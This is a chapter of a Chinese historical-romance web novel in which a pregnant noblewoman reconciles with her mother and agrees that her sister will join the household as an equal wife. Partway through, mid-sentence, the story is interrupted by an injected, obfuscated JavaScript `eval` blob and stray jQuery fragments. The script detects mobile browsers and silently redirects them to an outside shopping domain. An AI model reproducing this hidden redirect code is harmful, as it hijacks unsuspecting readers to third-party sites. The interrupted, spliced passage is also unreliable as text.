“母亲放心,儿媳能处理。”

    “好,那就交给你,不管事情如何,你要先保重自己的身体。”

    楚谨桐没有,不答应的道理,她比谁都珍惜这个孩子,肚子里的这个,是两世以来,唯一的血脉至亲,是永远不可能背叛她的亲人。

    江飞羽把自己母亲送走后,看着楚谨桐满脸委屈:“娘这是跟我生气呢。”

    楚谨桐微微一笑:“怎么会呢,母亲才不舍得生世子爷的气。”说完像以前无数次,拉着江飞羽的手,两人一起回屋。

    刚吃过饭,下人来报伯爵府楚母带着楚大少夫人来了。

    江飞羽看着楚谨桐,满脸担心:“要不我去跟岳母说一声,就说你身体不适。”

    楚谨桐微笑摇头:“不用,母亲大嫂过来,我哪有不见之理。

    江飞羽还是不放心:“但是……”

    楚谨桐拍拍江飞羽的手,以示安慰:“放心吧,我真没事。”

    江飞羽只能同意,楚谨桐让把人请进来,看着自己母亲一夜间老了不少,楚谨桐心还是忍不住刺痛一下。

    大家见礼后,江飞羽客套几句,以办公为由,把空间留给楚谨桐母女。

    楚母看着楚谨桐面带愧疚,伸手拉住楚谨桐的手:“昨天是母亲不好,不知道你怀孕,情绪太过激动,还好你没事。”

    楚谨桐没有抽出手,笑着安慰楚母:“怎么能怪母亲,昨天的事情谁也不想,妹妹没事吧?”

    提到楚谨熙,楚母又开始掉眼泪:“昨天你晕倒,那孩子也被吓坏了,回到家更是自责不已,一直说是因为她,害你晕倒。抄了半夜佛经,天明才撑不住睡过去,这些都是她昨天晚上抄的。”

    楚母拿出来厚厚一叠纸递给楚谨桐,楚谨桐接过,上面字迹的确是楚谨熙的,心里五味杂陈。

    楚母看着楚谨桐的脸色:“谨桐别怪母亲,你跟熙儿都是母亲的女儿,母亲希望你们俩都好,但谨桐,外面现在流言四起,要是不让熙儿进江家,她真的只能去做姑子。”

    楚谨桐看看手里的经书,再看看满眼通红,一看就知道没有休息好的楚母,拒绝的话怎么都说不出口,而且这件事本身也拒绝不了。

    楚母看到楚谨桐有松动,立马再接再厉:“你跟世子的感情,我们都知道,让熙儿进江府也是没办法的办法,不过你放心,等事情平复,我们就让熙儿假死,再以楚家旁支的身份接回。”

    楚谨桐惊讶看着楚母,她没想到楚家居然想到这样的主意,现在流言四起,楚谨熙只能进江家,这点她已经想到,但她没想到楚家是这样的打算。

    楚母像是知道楚谨桐的想法,拍拍楚谨桐的手,叹息一声:“你跟世子的感情,母亲怎么会不知道?你们都是我的女儿,我不想让你们任何一人过的不好。我跟你爹都商量好了,你妹妹换个身份,再报小几岁,以楚家堂小姐的身份,找个普通人家,有伯爵府在,也能保证一辈子过的平顺。”

    “这,熙儿能同意吗?”

    要知道虽然都是楚家小姐,但是伯爵府小姐,跟一个伯爵府的堂小姐,差距不是一般的大。

    楚母拍拍楚谨桐的手:“熙儿同意,不管对外的身份如何,只要我们自己知道就好,而且不管是熙儿,还是你爹跟我,都没想过让她嫁高门,不影响。”

    楚谨桐低头思索,这倒也不为一个好办法,在这个朝代,女子门第名声,都是为了嫁个好人家,如果楚谨熙不为嫁人,这些都不受影响。

    楚谨桐一直为,楚谨熙进府的身份发愁,昨天的事,一直让她怀疑她母亲更偏宠亲生女儿,所以不敢轻易答应,现在再回想,楚谨桐不由脸热。

    楚母替楚谨桐理了理头发:“你跟熙儿都是娘的女儿,娘怎么会让你们为难?这件事发生太过意外,但是你放心,在娘心里,你跟熙儿都是一样的。”

    楚谨桐看着眼前这个,全心全意为自己打算的人,眼眶不由红了:“母亲。”

    楚母反而笑了:“傻丫头哭什么?都要当娘的人了,怎么还跟小孩子一样。”

    楚谨桐再也忍眼泪流下,从昨天出事后的不安,一直到今天,她胡思乱想很多。

    在怀疑到她将要失去母亲的时候没哭,在怀疑江飞羽的时候她没哭,但今天楚母这些话,楚谨桐反而有点绷不住。

    楚谨桐这一哭,楚母开始手忙脚乱,而辛嬷嬷反而松口气,能哭出来就好,人还怀着孕,发生这样的事,能发泄出来她也就放心了。

    一时间兰亭院响起楚谨桐低低的抽泣声。

    楚母没有劝,只是把人抱住,一下下拍着后背安慰。

    楚谨桐哭完反而有点不好意思,两辈子加起来都要六十的人,她居然还哭鼻子?不,这不是她的原因,一定是因为她怀孕,所以才这么敏感。

    楚母看楚谨桐不哭了,才吩咐人:“绿碟,紫苏快打水,伺候你们家世子妃洗漱。”

    楚谨桐很不好意思,故作镇定,跟着绿蝶和紫苏去洗漱,等楚谨桐重新洗漱后,再次坐下,一直没有说话的宋氏开口了。

    “谨桐妹妹,你想熙儿以什么身份进府?”

    楚谨桐因为刚才哭的太狠,先端起茶杯,喝完水才看向宋氏。

    “大嫂的意见呢?”

    楚谨桐对宋氏一直很尊重,她没出阁时,两人关系也非常好,宋氏娘家虽然只是五品,但宋氏是在自己嫡祖母膝下长大。

    宋氏嫡祖母娘家是威远将军,当年威远将军只有这么一个女儿,而女儿从小伤了身子不能生育,才下嫁到宋家。

    如果不是宋家官职低,破落的伯爵府,不可能娶到宋氏。

    “谨桐妹妹,嫂子也不瞒着,我私心是想让熙妹妹作为平妻进门,我知道这样委屈谨桐妹妹,但熙妹妹作为伯爵府的嫡小姐,如果做妾,以后伯爵府的姑娘如何嫁人?”

    楚谨桐并没有恼怒,她知道宋氏说的是对的,楚谨熙作为伯爵府嫡小姐,如果真的进江家做妾,那么以后楚家姑娘,将不能在京城立足。

    楚谨桐昨天,一直想的就是这件事,楚谨熙身为伯爵

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709603|208404||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    府嫡小姐,如果做妾,伯爵府为了家里的子女不可能答应。

    但若是以平妻,等于她跟楚谨熙都是嫡妻,而楚谨熙还是伯爵府亲生女儿,这以后江家到底听谁的。

    这还不是最重要的,而是以后都是嫡子,侯府传给谁?

    但现在这一切都不是问题,那么平妻才是最好的选择,毕竟这涉及到楚家的名声。

    楚谨桐真诚看着自己大嫂:“大嫂说的哪里话,嫂子也是为了楚家名声着想,我怎么会多想,熙儿以平妻的身份进门,我是没意见,不过这也不是小事,需要公爹婆母他们同意才行。”

    楚母拍拍楚谨桐的手:“你放心吧,这件事我会跟侯府商量,还有后面熙儿假死,这些都是要先跟侯府通个信。不能让你为难。”

    楚谨桐点点头,楚母说的在理,虽然侯夫人说,这件事交给她处理,但现在计划有变,楚谨熙以后要假死。

    那么就要先跟侯府协商好。

    “好,那我跟母亲一起去。”

    楚谨桐被楚母给阻止住:“你刚查出来有身孕,又出了这种事,难免心情波动,你好好休息,我跟你大嫂去就行。”

    楚母伸手帮楚谨桐整理一下头发:“本来你怀孕是件高兴事,谁能想到出这样的事,委屈你了。你爹爹跟兄长知道你怀孕,昨天高兴的合不拢嘴,他们不方便过来见你,给你准备不少东西,让我们带给你,你就好好养身体,到时候给我们生个白白胖胖的外孙。”

    楚谨桐拉过楚母的手:“母亲,我不委屈,这件事谁也不想发生,放心等妹妹来了,我会照顾好妹妹的。也帮我谢谢爹爹跟兄长。”

    楚母神情不满:“你是我的女儿,你什么性子我能不知道?我不是怕你照顾不好她,而是怕你照顾不好自己。”

    楚谨桐看着自己母亲满眼都是关心,确认那天是她看错了,这才是她的母亲。

    楚谨桐露出一个真心的笑:“放心吧母亲,我会照顾好自己的。”

    事情有了处理结果,母女两人终于能坐下来好好说说话,楚母说了好多怀孕要注意的事项,虽然这些府医已经说过。

    但楚谨桐听着楚母的念叨,满心满足。

    而身为嫂子的宋氏,更是偶尔插上一句,一时间兰亭院气氛轻松,偶尔传出来笑声。

    看着时间不早,楚母才依依不舍去侯夫人那里。

    虽然两府离的不远,但嫁出去的女儿,很少回娘家,能说这么长时间话,已经不易。

    送走楚母她们,辛嬷嬷扶着楚谨桐坐下,内心为楚谨桐开心。

    “这下世子妃能放心了?”

    楚谨桐听到辛嬷嬷的调侃,并没有不好意思。

    “这样就很好,这件事闹这么大,不管如何,熙儿都要进府,嬷嬷知道我的,我不想跟熙儿闹的生分”

    辛嬷嬷还是忍不住提醒。

    “世子妃,我知道你跟世子也夫妻感情好,但别怪嬷嬷泼冷水,这男人哪有谁真的可以做到,一生一世一双人?执念太深,伤人伤己。”